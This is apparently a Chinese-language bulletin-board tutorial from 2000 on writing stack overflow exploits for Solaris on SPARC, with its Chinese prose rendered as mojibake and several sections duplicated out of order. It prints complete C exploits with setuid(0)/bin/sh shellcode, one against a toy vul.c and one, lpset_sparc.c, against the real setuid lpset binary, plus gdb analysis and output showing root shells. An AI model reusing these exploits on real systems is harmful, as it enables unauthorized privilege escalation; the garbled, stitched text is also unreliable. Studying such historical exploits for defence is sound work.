ÔÚSPARCƽ̨ÏÂ,¶ÑÕ»ÖÐbufferµÄ´óСÊǰ´8µÄ±¶Êý·ÖÅäµÄ,ÕâÊÇÔÚÈ·¶¨buffer´óСµÄ ʱºòҪעÒâµÄ¡£ 2.3 Ò»¸öÕë¶Ôvul.cµÄ²âÊÔ³ÌÐòexp.c ÏÂÃæÊÇÒ»¸ö²âÊÔ³ÌÐò£¬ÓÃÀ´¹¥»÷ÎÒÃÇÇ°ÃæµÄvul.c¡£ÎÒÃDzÉÓÃexecle()Ö´ÐÐ./vul,ʹÎÒÃÇ µÄ»·¾³±äÁ¿¾¡¿ÉÄܵÄÉÙ£¬ÎÒÃǵÄshellcode½«·ÅÔÚ¶ÑÕ»µÄ¸ß¶Ë,Õâ¸öµØÖ·ÊÇÏà¶Ô¹Ì¶¨µÄ£¬ ±È½ÏÈÝÒײ²⡣µ÷Õûoffset(±ØÐëÊÇ4µÄ±¶Êý)ʹ·µ»ØµØÖ·ÂäÔÚNOPÖ¸Áîµ±ÖУ¬Èç¹û¸ÃµØÖ·²» ÓëNOPÖ¸ÁîµÄµÚÒ»¸ö×Ö½Ú¶ÔÆë£¬ÔÙµ÷ÕûalignµÄÖµ(´Ó0-3¼´¿É),ʹ֮¶ÔÆë¡£ -------------------------------------------------------------------------- /* * exp.c -- test exploit for vul.c in Solaris for SPARC . * gcc -o exp exp.c * by warning3 * y2k/5/5 */ #include #define BUFSIZE 8 /* the size of overflowed buffer*/ #define EGGSIZE 1024 /* the egg buffer size */ #define NOP 0xaa1d4015 /* "xor %l5, %l5, %l5" */ #define ALIGN 0 /* If don't work ,try adjust align to 0,1,2,3 */ #define OFFSET 1500 char shellcode[] = /* from scz's funny shellcode for SPARC */ "\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08" /* setuid(0) */ "\x20\x80\x49\x73\x20\x80\x62\x61\x20\x80\x73\x65\x20\x80\x3a\x29" "\x7f\xff\xff\xff\x94\x1a\x80\x0a\x90\x03\xe0\x34\x92\x0b\x80\x0e" "\x9c\x03\xa0\x08\xd0\x23\xbf\xf8\xc0\x23\xbf\xfc\xc0\x2a\x20\x07" "\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01" "\x91\xd0\x20\x08\x2f\x62\x69\x6e\x2f\x73\x68\xff"; /* get current stack point address to guess Return address */ long get_esp(void) { __asm__("mov %sp,%i0"); } main( int argc, char **argv ) { char *pattern,eggbuf[EGGSIZE],*env[2]; long retaddr, i; long bufsize=BUFSIZE, offset=OFFSET, align=ALIGN, patternsize ; long *addrptr; if( argc > 1 ) align = atoi(argv[1]); if( argc > 2 ) offset = atoi(argv[2]); if( argc > 3 ) bufsize = atoi(argv[3]); retaddr = get_esp() + offset; /* Guess return address */ printf("Usages: %s \n\n", argv[0] ); printf("Using RET address = 0x%x ,Bufsize = %d, Offset = %d, Align= %d\n" , retaddr, bufsize, offset, align ); /* bufsize + reserved area + saved in/local + NULL */ patternsize = bufsize + 4*4 + 16*4 + 1; if((pattern = (char *)malloc(patternsize)) == NULL) { printf("Can't get enough memory!\n"); exit(-1); } memset(pattern, 'C', patternsize );/* fill pattern buffer with garbage */ addrptr = (long *) (pattern + bufsize + 4*4 ); /* move to saved %l0 */ /* Let's overwrite caller function's saved stack frame */ for( i = 0 ; i < 16 ; i ++ ) *addrptr++ = retaddr; /* saved (%l0-%l7),(%i0-%i7) */ /* construct shellcode buffer */ memset(eggbuf,'A',EGGSIZE); /* fill the eggbuf with garbage */ for (i = align; i < EGGSIZE; i+=4) { /* fill with NOP */ eggbuf[i+3]=NOP & 0xff; eggbuf[i+2]=(NOP >> 8 ) &0xff; eggbuf[i+1]=(NOP >> 16 ) &0xff; eggbuf[i+0]=(NOP >> 24 ) &0xff; /* Big endian */ } /* Notice : we assume the length of shellcode can be divided exatcly by 4 . If not, exploit will fail. Anyway, our shellcode is. ;-) */ memcpy(eggbuf + EGGSIZE - strlen(shellcode) - 4 + align, shellcode, strlen(shellcode)); memcpy(eggbuf,"EGG=",4);/* Now : EGG=NOP...NOPSHELLCODE */ env[0] = eggbuf; /* put eggbuf in env */ env[1] = NULL; /* end of env */ execle("./vul", "./vul",pattern,NULL,env); } /* end of main */ -------------------------------------------------------------------------- ²âÊÔһϣº [warning3@sun1 test]$ ls -l vul exp -rwxr-xr-x 1 root other 25664 May 5 10:17 exp -rwsr-xr-x 1 root other 24576 May 4 23:25 vul [warning3@sun1 test]$ id uid=100(warning3) gid=1(other) [warning3@sun1 test]$ ./exp Usages: ./exp Using RET address = 0xffbefe0c ,Bufsize = 8, Offset = 1500, Align= 0 CCCCCCCCCCCCCCCCCCCCCCCCÿ¾þ ÿ¾þ ÿ¾þ ÿ¾þ ÿ¾þ ÿ¾þ ÿ¾þ ÿ¾þ ÿ¾þ ÿ¾þ ÿ¾þ ÿ¾þ ÿ¾þ ÿ¾þ ÿ¾þ ÿ¾þ C # id uid=0(root) gid=1(other) <---- ³É¹¦ÁË! # 2.4 Ò»¸öʵ¼Ê²âÊÔ³ÌÐòµÄ±àд¹ý³Ì(lpset_sparc.c) ÏÂÃæÎÒÃÇÒÔÒ»¸öʵ¼ÊµÄÀý×ÓÀ´ÏêϸµÄ½²ÊöÔõÑùдһ¸ö¹¥»÷³ÌÐò¡£ÔÚSolarisÏÂlpset±»Éè ÖÃÁËsuid룬µ±¸øËüµÄ"-a"¿ª¹ØÌṩһ¸öºÜ³¤µÄ²ÎÊýʱ£¬½«µ¼ÖÂËü·¢ÉúÒç³ö¡£(Õâ¸ö©¶´ ÊÇÈÕ±¾°²È«Ð¡×éThe Shadow Penguin Security·¢ÏÖµÄ) ÏÈÀ´¿´¿´man lpset: NAME lpset - set printing configuration in /etc/printers.conf or FNS SYNOPSIS lpset [-n system | fns ] [ -x ] [ -a key=value ] [ -d key ] destination ... ÎÒÃÇ¿´µ½£¬"-a"µÄ²ÎÊýÖбØÐë°üº¬Ò»¸ö"="ºÅ£¬·ñÔò²»ÄÜÕý³£¹¤×÷¡£ ²âÊÔһϣº [root@ /test]> /usr/bin/lpset -n fns -a A=`perl -e 'print "A"x800'` blah write operation failed <----- ûÓÐÒç³ö [root@ /test]> /usr/bin/lpset -n fns -a A=`perl -e 'print "A"x1024'` blah ×ÜÏß´íÎó (core dumped) <----- OK,Òç³ö·¢ÉúÁË [root@ /test]> gdb /usr/bin/lpset core GNU gdb 4.18 Copyright 1998 Free Software Foundation, Inc. <...Ê¡ÂÔÏÔʾÄÚÈÝ...> (no debugging symbols found)...done. #0 0xff3770cc in ns_printer_put () from /usr/lib/libprint.so.2 (gdb) bt #0 0xff3770cc in ns_printer_put () from /usr/lib/libprint.so.2 Cannot access memory at address 0x41414179. (gdb) i r <.....> o0 0x100 256 o1 0xff38a698 -13064552 o2 0x27fa8 163752 o3 0xff3784d0 -13138736 o4 0x100 256 o5 0xff3770c4 -13143868 sp 0xffbef6d0 -4262192 <--- µ±Ç°¶ÑÕ»Ö¸Õë o7 0xff3770c4 -13143868 l0 0x41414141 1094795585 <--- localºÍin¶¼ÒѾ­±»»Ö¸´³ÉÎÒÃÇÌî³ä l1 0x41414141 1094795585 µÄÊý¾Ý0x41414141 l2 0x41414141 1094795585 l3 0x41414141 1094795585 l4 0x41414141 1094795585 l5 0x41414141 1094795585 l6 0x41414141 1094795585 l7 0x41414141 1094795585 i0 0x41414141 1094795585 i1 0x41414141 1094795585 i2 0x41414141 1094795585 i3 0x41414141 1094795585 i4 0x41414141 1094795585 i5 0x41414141 1094795585 fp 0x41414141 1094795585 i7 0x41414141 1094795585 <.....> pc 0xff3770cc -13143860 <--- ÎÒÃÇ¿´¿´³ÌÐòÏÂÒ»²½¸Ã¸ÉʲôÁË npc 0xff3770d0 -13143856 <.....> (gdb) disass 0xff3770cc <.....> 0xff3770c4 : call %o1 0xff3770c8 : mov %i0, %o0 0xff3770cc : ret <--- ÏÂÒ»²½Òª·µ»ØÁË 0xff3770d0 : restore %g0, %o0, %o0 0xff3770d4 : mov -1, %i0 0xff3770d8 : ret 0xff3770dc : restore End of assembler dump. (gdb) x/32x $sp 0xffbef6d0: 0x41414141 0x41414141 0x41414141 0x41414141 0xffbef6e0: 0x41414141 0x41414141 0x41414141 0x41414141<--%l0-%l7 0xffbef6f0: 0x41414141 0x41414141 0x41414141 0x41414141 0xffbef700: 0x41414141 0x41414141 0x41414141 0x41414141<--%i0-%i7 0xffbef710: 0x41412220 0x3e2f6465 0x762f6e75 0x6c6c2032 ------ \--- ¶àÁËÁ½¸ö×Ö½Ú 0xffbef720: 0x3e263100 0x00000001 0x00ff0000 0x00011100 0xffbef730: 0x78666e5f 0x7075745f 0x7072696e 0x74657200 0xffbef740: 0x00000000 0xff31e128 0xffbef750 0x00000000 ºÜÃ÷ÏÔ£¬³ÌÐòÊÇÔÚÖ´ÐÐÍêcall %o1ÒÔºó£¬ÔÙÖ´ÐÐret/restoreʱ³ö´íµÄ¡£ÎÒÃÇ¿´µ½Õâʱºò£¬ %i0-%i7ºÍ%l0-%l7ÒѾ­±»»Ö¸´³ÉÎÒÃÇÊäÈëµÄÊý¾Ý¡£´ÓÕâÀïÎÒÃÇÆäʵÒѾ­¿ÉÒÔ²âËã³öÎÒÃÇ ÐèÒªµÄbufsizeÁË£¬bufsize= (1024 + 2) - 2 - 8*8 - 4*4 = 944×Ö½Ú¡£ ²»¹ýÎÒÃÇ»¹ÊÇÀ´È·ÈÏһϱȽϺã¬ÎÒÃÇÔÚ¶ÑÕ»ÖÐÕÒÒ»ÕÒ"call %o1"µÄÕ»Ö¡£¬¼´È»ÎÒÃÇÊä ÈëµÄ²ÎÊý³¤¶ÈÒѾ­ÓÐ1026³¤ÁË£¬ÄÇôÎÒÃǼì²éһϵ±Ç°%sp-1200ǰ¶¼ÓÐЩʲôÄÚÈÝ£º (gdb) x/1000x $sp-1200 0xffbef240: 0x41414141 0x41414141 0x41414141 0x41414141 0xffbef250: 0x41414141 0x41414141 0x41414141 0x41414141 0xffbef260: 0x7ffffbac 0xffbef723 0xff3375e0 0xff3375d8 0xffbef270: 0x41414141 0x2200cd08 0xff000000 0x00ff0000 \--------- ÉÏÒ»¸ö±»µ÷º¯ÊýµÄÕ»Ö¡ÆðʼµØÖ· 0xffbef280: 0x0000ff00 0x01010100 0x00000000 0x00000000<--%l0-%l7 0xffbef290: 0x000252c0 0xff38a698 0x00027fa8 0xff3784d0 0xffbef2a0: 0x00000100 0xff3770c4 0xffbef6d0 0xff3770c4<--%i0-%i7 \---------- ÎÒÃǵĵ±Ç°¶ÑÕ»Ö¸Õë 0xffbef2b0: 0x000229d0 0xffbef2d0 0x00000000 0xff38b630 0xffbef2c0: 0xff38b64c 0x00026220 0x00027fa8 0x00000002<--²ÎÊýÓò 0xffbef2d0: 0x2f757372 0x2f62696e 0x2f666e63 0x72656174 \---------- ¾Ö²¿±äÁ¿ÆðʼµØÖ· 0xffbef2e0: 0x655f7072 0x696e7465 0x72202d73 0x20746869 0xffbef2f0: 0x736f7267 0x756e6974 0x2f736572 0x76696365 0xffbef300: 0x2f707269 0x6e746572 0x20626c61 0x68202022 0xffbef310: 0x413d4141 0x41414141 0x41414141 0x41414141 \---------- ÎÒÃÇÊäÈëµÄ²ÎÊýµÄÆðʼµØÖ· <......> ÎÒÃǺÜÈÝÒ×¾ÍÕÒµ½ÁËÉÏÒ»¸ö±»µ÷º¯ÊýµÄջ֡λÖÃ(0xffbef270),¾Ö²¿±äÁ¿µÄÆðʼµØÖ· ÊÇ0xffbef2d0,¶øÎÒÃÇÊäÈëµÄ²ÎÊý±»·Åµ½ÁË0xffbef310´¦£¬ÈÃÎÒÃÇ¿´µÃ¸üÇå³þÒ»µã: (gdb) x/10s 0xffbef2d0 0xffbef2d0: "/usr/bin/fncreate_printer -s thisorgunit/service/printer blah \"A=" , 'A' ... 0xffbef398: 'A' ... 0xffbef460: 'A' ... 0xffbef528: 'A' ... 0xffbef5f0: 'A' ... 0xffbef6b8: 'A' , "\" >/dev/null 2>&1" 0xffbef724: "" 0xffbef725: "" 0xffbef726: "" 0xffbef727: "\001" ÕâÑùÎÒÃǾͿÉÒԵõ½×¼È·µÄbufsizeÁË,bufsize=(0xffbef6d0-0xffbef310) - 4*4 = 944 ,ºÍÇ°ÃæÍÆËãµÄÎǺϡ£ÁíÍâÐèҪעÒâµÄÊÇ£º ÎÒÃÇ¿´µ½"blah"ÊÇÎÒÃÇÊäÈëµÄ´òÓ¡»úÃû³Æ£¬Ëü±»·Åµ½ÁË"\"A=AA...A\"Ç°Ãæ£¬Òò´Ë£¬Èç¹û ´òÓ¡»úÃû³Æ³¤¶ÈÓб仯,½«µ¼ÖÂÕû¸ö"\"A=AA...A\"Íù¸ßÖ··½ÏòÒÆ¶¯£¬Òò´Ëʵ¼ÊÌî³äµÄ×Ö ½ÚÊýÊǺʹòÓ¡»úÃû³Æ³¤¶ÈÓйصġ£Êµ¼ÊÌî³ä³¤¶È= 944 + 4("blah"³¤¶ÈΪ4¸ö×Ö½Ú) - strlen(printer). ÓÐÁËÉÏÃæµÄ·ÖÎö£¬ÎÒÃǾͿÉÒÔÀ´Ð´²âÊÔ³ÌÐòÁË£º ----------------------------------------------------------------------------------------- /* ---> lpset_sparc.c <--- * lpset exploit for Solaris 2.6/7 Sparc . * * It is one test for writing exploits in Sparc ,just for EDUCATIONAL purpose.:) * tested in Solaris 2.6/7 /sparc. * Usages: * ./lpset_sparc * in most cases, bufsize is fixed, offset=1500 is OK . * If it don't work, you just need adjust align value from 0 to 3. * by warning3@hotmail.com * y2k/5/5 */ #include #define BUFSIZE 944 /* the size of overflowed buffer*/ #define EGGSIZE 1024 /* the egg buffer size */ #define NOP 0xaa1d4015 /* "xor %l5, %l5, %l5" */ #define ALIGN 1 /* If don't work ,try adjust align to 0,1,2,3 */ #define OFFSET 1500 #define PRINTER "blah" char shellcode[] = /* from scz's funny shellcode for SPARC */ "\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08" /* setuid(0) */ "\x20\x80\x49\x73\x20\x80\x62\x61\x20\x80\x73\x65\x20\x80\x3a\x29" "\x7f\xff\xff\xff\x94\x1a\x80\x0a\x90\x03\xe0\x34\x92\x0b\x80\x0e" "\x9c\x03\xa0\x08\xd0\x23\xbf\xf8\xc0\x23\xbf\xfc\xc0\x2a\x20\x07" "\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01" "\x91\xd0\x20\x08\x2f\x62\x69\x6e\x2f\x73\x68\xff"; /* get current stack point address to guess Return address */ long get_esp(void) { __asm__("mov %sp,%i0"); } main( int argc, char **argv ) { char *pattern,eggbuf[EGGSIZE],*env[2]; long retaddr, i; long bufsize=BUFSIZE, offset=OFFSET, align=ALIGN, patternsize ; long *addrptr; if( argc > 1 ) align = atoi(argv[1]); if( argc > 2 ) offset = atoi(argv[2]); if( argc > 3 ) bufsize = atoi(argv[3]); retaddr = get_esp() + offset; /* Guess return address */ printf("Usages: %s \n\n", argv[0] ); printf("Using RET address = 0x%x ,Bufsize = %d, Offset = %d, Align= %d\n" , retaddr, bufsize, offset, align ); /* bufsize + reserved area + saved in/local + NULL */ patternsize = bufsize + 4*4 + 16*4 + 1; if((pattern = (char *)malloc(patternsize)) == NULL) { printf("Can't get enough memory!\n"); exit(-1); } memset(pattern, 'C', patternsize );/* fill pattern buffer with garbage */ memset(pattern+20, 0x3d, 1); /* put '=' into buf */ addrptr = (long *) (pattern + bufsize + 4*4 ); /* move to saved %l0 */ /* Let's overwrite caller function's saved stack frame */ for( i = 0 ; i < 16 ; i ++ ) *addrptr++ = retaddr; /* saved (%l0-%l7),(%i0-%i7) */ /* construct shellcode buffer */ memset(eggbuf,'A',EGGSIZE); /* fill the eggbuf with garbage */ for (i = align; i < EGGSIZE; i+=4) /* fill with NOP */ { eggbuf[i+3]=NOP & 0xff; eggbuf[i+2]=(NOP >> 8 ) &0xff; eggbuf[i+1]=(NOP >> 16 ) &0xff; eggbuf[i+0]=(NOP >> 24 ) &0xff; /* Big endian */ } /* Notice : we assume the length of shellcode can be divided exatcly by 4 . If not, exploit will fail. Anyway, our shellcode is. ;-) */ memcpy(eggbuf + EGGSIZE - strlen(shellcode) - 4 + align, shellcode, strlen(shellcode)); memcpy(eggbuf,"EGG=",4);/* Now : EGG=NOP...NOPSHELLCODE */ env[0] = eggbuf; /* put eggbuf in env */ env[1] = NULL; /* end of env */ /* adjust pattern size by printer length */ execle("/usr/bin/lpset", "lpset","-n","fns" ,"-a",(pattern + strlen(PRINTER) - 4 ),PRINTER,NULL,env); } /* end of main */ ------------------------------------------------------------------------------------------------ [warning3@sun1 test]$ gcc -o lp_ex lpset_sparc.c [warning3@sun1 test]$ ./lp_ex Usages: ./lp_ex Using RET address = 0xffbefcb4 ,Bufsize = 944, Offset = 1500, Align= 1 # id uid=0(root) gid=1(other) <--- ³É¹¦ÁË! # ͨ¹ýÉÏÃæµÄÀý×Ó£¬ÎÒÏë¶ÁÕßÒѾ­·¢ÏÖ£¬ÔÚSolarisÏÂдÒç³ö³ÌÐòÆäʵҲûÓÐÊ²Ã´ÌØ±ðµÄ Äѵ㡣ֻҪÀí½âÁ˺¯Êýµ÷ÓõĻúÀí£¬ÔÙ×¢ÒâÒ»ÏÂSPARC¼Ü¹¹µÄÌØÊâÐÔ(±ÈÈ磬±ß½ç¶ÔÆë), Ó¦¸ÃºÜÈÝÒ׾ͿÉÒÔ×Ô¼º¶¯ÊÖдÁË¡£ ·¢ÐÅÈË: scz (СËÄ), ÐÅÇø: Security ±ê Ìâ: Solaris for SPARC ¶ÑÕ»Òç³ö³ÌÐò±àд(2) ·¢ÐÅÕ¾: Î人°×ÔÆ»Æº×Õ¾ (Mon May 15 00:10:23 2000), Õ¾ÄÚÐżþ 2. ÆÕͨÒç³ö³ÌÐò±àд 2.1 »ù±¾Ë¼Â· ´ÓÇ°ÃæËù½²µÄº¯Êýµ÷ÓõĹý³Ì¿ÉÒÔÖªµÀ£¬ÎÒÃÇÊDz»¿ÉÄܸ²¸Çµ±Ç°º¯ÊýµÄ·µ»ØµØÖ·µÄ£¬Òò Ϊµ±Ç°º¯ÊýµÄ·µ»ØµØÖ·ÊDZ£´æÔڼĴæÆ÷%i7Öеģ¬È»¶ø£¬ÎÒÃÇ¿ÉÒÔ¸²¸Çµ±Ç°º¯ÊýµÄÖ÷µ÷ º¯ÊýµÄÕ»Ö¡£¬¼´%fpÍùºóµÄÇøÓò£¬ÕâÀï±£´æÓÐÖ÷µ÷º¯ÊýµÄ%l0-%l7ºÍ%i0-%i7. ÒÔÉÏÃæµÄ³ÌÐòΪÀý£¬Ö»ÒªÊäÈë(n*8 + 4*4 + 8*4 + 8*4)¸ö×Ö½Ú³¤µÄÊý¾Ý£¬¾Í¿ÉÒÔÍêÈ« ¸²¸Çmain()º¯Êý±£´æµÄ%l0-%l7ºÍ%i0-%i7,ÕâÑù£¬µ±func()Ö´ÐÐÍêrestoreÖ¸Áîºó£¬¾Í»á ½«ÎÒÃÇÐ޸ĹýµÄ¶ÑÕ»ÄÚÈݻָ´µ½inºÍlocal¼Ä´æÆ÷ÖС£¶øµ±main()º¯ÊýÖ´ÐÐretÖ¸Áî·µ»Ø ʱ£¬¾ÍÌøµ½(%i7+8)µÄµØÖ·È¥ÔËÐÐÁË£¬Ö»ÒªÔÚÕâ¸öµØÖ·ÊÂÏÈ·ÅÈëÎÒÃǵÄshellcode¾ÍÐÐÁË¡£ Òò´Ë£¬ÔÚSPARCƽ̨ÏÂÃæ£¬ÎÒÃÇÖÁÉÙÐèÒªÁ½´Î·µ»Ø²ÅÄÜÍê³É¹¥»÷¡£ÕâºÍi386ÏÂÊDz»Ò»Ñù µÄ¡£ÕâÒ²Òâζ×Å£¬Èç¹ûÔÚmain()º¯ÊýÖдæÔÚÒç³ö©¶´£¬ÄãÊDz»¿ÉÄܹ¥»÷³É¹¦µÄ¡£ÒòΪÔÚ ´Ómain()·µ»Øºó£¬Í¨³£<_start>»áµ÷ÓûòÕß<_exit>Í˳ö£¬Òò´ËÄã²»¿ÉÄÜÔÙÐÞ¸Ä ¼Ä´æÆ÷%i7µÄÖµ²¢Ìøµ½ÄÇÀïÖ´ÐС£ÀýÈ磬ÏóÕâÑùµÄ³ÌÐòÊDz»¿ÉÄܽøÐÐÒç³ö¹¥»÷µÄ£¬ÓÐÐË È¤µÄÈË¿ÉÒÔÊÔÒ»ÊÔ¡£ /* vul1.c */ int main(int argc, char **argv) { char buf[8]; strcpy(buf,argv[1]); } /* end of vul1.c */ 2.2 ʵÏÖ·½·¨ Àí½âÁËÉÏÃæµÄº¯Êýµ÷ÓõĹý³ÌÖ®ºó£¬ÄÇôд¹¥»÷³ÌÐòÆäʵ¾ÍºÍLinuxºÜÏàËÆÁË¡£Ö»ÒªÓ÷µ »ØµØÖ·¸²¸Ç±£´æµÄ%i7¾Í¿ÉÒÔÁË£¬Ê¾ÒâͼÈçÏ£º µØÖ· -----------------------------> ¸ßÖ· %fp %fp+32 ------------------------------------------- | buffer | ±£ÁôÇøÓò | %l0-%l7 | %i0 - %i7 | -------------------------------------------- | NOPNOP...SHELLCODE| RET ... RET | -------------------------------------------- ^ | | \------------------------/ ¹ØÓÚSPARCƽ̨ÏÂshellcodeµÄ±àд£¬¿ÉÒԲο´sczµÄ< ±àд>>£¬ÕâÀï²»ÔÙ׸Êö¡£ Èç¹ûbuffer±È½ÏС£¬·Å²»ÏÂÎÒÃǵÄshellcode£¬ÓÐÁ½ÖÖ·½·¨¿ÉÒÔ½â¾ö: Ò»Êǽ«"NOP...NOP..SHELLCODE"²¿·ÖÒÆµ½"RET..."ºóÃæ£¬ µØÖ· -----------------------------> ¸ßÖ· %fp %fp+32 ---------------------------------------------------------------- | buffer | ±£ÁôÇøÓò | %l0-%l7 | %i0 - %i7 | ..... | ---------------------------------------------------------------- | RET ... RET ... RET | NOPNOP...SHELLCODE | ---------------------------------------------------------------- | ^ | | \--------------------------/ ¶þÊǽ«shellcode·Åµ½»·¾³±äÁ¿ÖÐÈ¥£¬½«RETÖ¸Ïò»·¾³±äÁ¿£¬ µØÖ· -----------------------------> ¸ßÖ· %fp %fp+32 environ ------------------------------------------- --------------------- | buffer | ±£ÁôÇøÓò | %l0-%l7 | %i0 - %i7 | | ..... | ------------------------------------------- --------------------- | RET ... RET ... RET | | NOPNOP...SHELLCODE | -------------------------------------------- ------------------- | ^ | | \-----------------------------/ ²ÉÓÃÄÄÖÖ·½·¨ÀíÂÛÉ϶¼ÊÇ¿ÉÒԵġ£ÔÚÕâÀïÎÒÖ»¾ÙÒ»¸öÀý×Ó£¬Ê¹Óû·¾³±äÁ¿À´´æ·ÅÎÒÃÇµÄ shellcode.ÐèҪעÒâµÄÎÊÌâÊÇ£¬ (1) ÕâÀïµÄNOPÖ¸ÁîÊÇ4¸ö×Ö½ÚµÄÖ¸ÁÕâÒªÇóÎÒÃǵķµ»ØµØÖ·±ØÐëÖ¸ÏòNOPÖ¸ÁîµÄµÚÒ»¸ö ×Ö½ÚÔÚi386ÖÐ,NOPÖ¸ÁîÊÇÒ»¸ö×Ö½Ú£¬Òò´Ë£¬ÒªÇó²¢²»ÕâôÑϸñ) (2) NOPÖ¸ÁîµÄÆðʼµØÖ·±ØÐëÔÚ4×ֽڱ߽çÉÏ£¨Äܱ»ËÄÕû³ý)£¬·ñÔò½«µ¼ÖÂ×ÜÏß´íÎó¡£ (3) ÔÚSPARCƽ̨ÏÂ,¶ÑÕ»ÖÐbufferµÄ´óСÊǰ´8µÄ±¶Êý·ÖÅäµÄ,ÕâÊÇÔÚÈ·¶¨buffer´óСµÄ ʱºòҪעÒâµÄ¡£ 2.3 Ò»¸öÕë¶Ôvul.cµÄ²âÊÔ³ÌÐòexp.c ÏÂÃæÊÇÒ»¸ö²âÊÔ³ÌÐò£¬ÓÃÀ´¹¥»÷ÎÒÃÇÇ°ÃæµÄvul.c¡£ÎÒÃDzÉÓÃexecle()Ö´ÐÐ./vul,ʹÎÒÃÇ µÄ»·¾³±äÁ¿¾¡¿ÉÄܵÄÉÙ£¬ÎÒÃǵÄshellcode½«·ÅÔÚ¶ÑÕ»µÄ¸ß¶Ë,Õâ¸öµØÖ·ÊÇÏà¶Ô¹Ì¶¨µÄ£¬ ±È½ÏÈÝÒײ²⡣µ÷Õûoffset(±ØÐëÊÇ4µÄ±¶Êý)ʹ·µ»ØµØÖ·ÂäÔÚNOPÖ¸Áîµ±ÖУ¬Èç¹û¸ÃµØÖ·²» ÓëNOPÖ¸ÁîµÄµÚÒ»¸ö×Ö½Ú¶ÔÆë£¬ÔÙµ÷ÕûalignµÄÖµ(´Ó0-3¼´¿É),ʹ֮¶ÔÆë¡£ -- Ò²ÐíÓÐÒ»Ì죬ËûÔÙ´Óº£ÉÏÅîÅîµÄÓêµãÖÐÉýÆð£¬ ·ÉÏòÎ÷À´£¬ÔÙÐγÉÒ»µÀ½­Á÷£¬Ôٳ嵹Á½ÅÔµÄʯ±Ú£¬ ÔÙÀ´Ñ°¼Ð°¶µÄÌÒ»¨¡£È»¶ø£¬ÎÒ²»¸Ò˵À´Éú£¬Ò²²»¸ÒÐÅÀ´Éú...... ¡ù À´Ô´:£®Î人°×ÔÆ»Æº×Õ¾ bbs.whnet.edu.cn£®[FROM: 203.207.226.124] -------------------------------------------------------------------------------- ·ÖÀàÌÖÂÛÇø È«²¿ÌÖÂÛÇø ÉÏһƪ ±¾ÌÖÂÛÇø »ØÎÄÕ ÏÂһƪ ·¢ÐÅÈË: scz (СËÄ), ÐÅÇø: Security ±ê Ìâ: Solaris for SPARC ¶ÑÕ»Òç³ö³ÌÐò±àд(3) ·¢ÐÅÕ¾: Î人°×ÔÆ»Æº×Õ¾ (Mon May 15 00:12:12 2000), Õ¾ÄÚÐżþ -------------------------------------------------------------------------- /* * exp.c -- test exploit for vul.c in Solaris for SPARC . * gcc -o exp exp.c * by warning3 * y2k/5/5 */ #include #define BUFSIZE 8 /* the size of overflowed buffer*/ #define EGGSIZE 1024 /* the egg buffer size */ #define NOP 0xaa1d4015 /* "xor %l5, %l5, %l5" */ #define ALIGN 0 /* If don't work ,try adjust align to 0,1,2,3 */ #define OFFSET 1500 char shellcode[] = /* from scz's funny shellcode for SPARC */ "\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08" /* setuid(0) */ "\x20\x80\x49\x73\x20\x80\x62\x61\x20\x80\x73\x65\x20\x80\x3a\x29" "\x7f\xff\xff\xff\x94\x1a\x80\x0a\x90\x03\xe0\x34\x92\x0b\x80\x0e" "\x9c\x03\xa0\x08\xd0\x23\xbf\xf8\xc0\x23\xbf\xfc\xc0\x2a\x20\x07" "\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01" "\x91\xd0\x20\x08\x2f\x62\x69\x6e\x2f\x73\x68\xff"; /* get current stack point address to guess Return address */ long get_esp(void) { __asm__("mov %sp,%i0"); } main( int argc, char **argv ) { char *pattern,eggbuf[EGGSIZE],*env[2]; long retaddr, i; long bufsize=BUFSIZE, offset=OFFSET, align=ALIGN, patternsize ; long *addrptr; if( argc > 1 ) align = atoi(argv[1]); if( argc > 2 ) offset = atoi(argv[2]); if( argc > 3 ) bufsize = atoi(argv[3]); retaddr = get_esp() + offset; /* Guess return address */ printf("Usages: %s \n\n", argv[0] ); printf("Using RET address = 0x%x ,Bufsize = %d, Offset = %d, Align= %d\n", retaddr, bufsize, offset, align ); /* bufsize + reserved area + saved in/local + NULL */ patternsize = bufsize + 4*4 + 16*4 + 1; if((pattern = (char *)malloc(patternsize)) == NULL) { printf("Can't get enough memory!\n"); exit(-1); } memset(pattern, 'C', patternsize );/* fill pattern buffer with garbage */ addrptr = (long *) (pattern + bufsize + 4*4 ); /* move to saved %l0 */ /* Let's overwrite caller function's saved stack frame */ for( i = 0 ; i < 16 ; i ++ ) *addrptr++ = retaddr; /* saved (%l0-%l7),(%i0-%i7) */ /* construct shellcode buffer */ memset(eggbuf,'A',EGGSIZE); /* fill the eggbuf with garbage */ for (i = align; i < EGGSIZE; i+=4) { /* fill with NOP */ eggbuf[i+3]=NOP & 0xff; eggbuf[i+2]=(NOP >> 8 ) &0xff; eggbuf[i+1]=(NOP >> 16 ) &0xff; eggbuf[i+0]=(NOP >> 24 ) &0xff; /* Big endian */ } /* Notice : we assume the length of shellcode can be divided exatcly by 4 . If not, exploit will fail. Anyway, our shellcode is. ;-) */ memcpy(eggbuf + EGGSIZE - strlen(shellcode) - 4 + align, shellcode, strlen(shellcode)); memcpy(eggbuf,"EGG=",4);/* Now : EGG=NOP...NOPSHELLCODE */ env[0] = eggbuf; /* put eggbuf in env */ env[1] = NULL; /* end of env */ execle("./vul", "./vul",pattern,NULL,env); } /* end of main */ -------------------------------------------------------------------------- ²âÊÔһϣº [warning3@sun1 test]$ ls -l vul exp -rwxr-xr-x 1 root other 25664 May 5 10:17 exp -rwsr-xr-x 1 root other 24576 May 4 23:25 vul [warning3@sun1 test]$ id uid=100(warning3) gid=1(other) [warning3@sun1 test]$ ./exp Usages: ./exp Using RET address = 0xffbefe0c ,Bufsize = 8, Offset = 1500, Align= # id uid=0(root) gid=1(other) <---- ³É¹¦ÁË! # 2.4 Ò»¸öʵ¼Ê²âÊÔ³ÌÐòµÄ±àд¹ý³Ì(lpset_sparc.c) ÏÂÃæÎÒÃÇÒÔÒ»¸öʵ¼ÊµÄÀý×ÓÀ´ÏêϸµÄ½²ÊöÔõÑùдһ¸ö¹¥»÷³ÌÐò¡£ÔÚSolarisÏÂlpset±»Éè 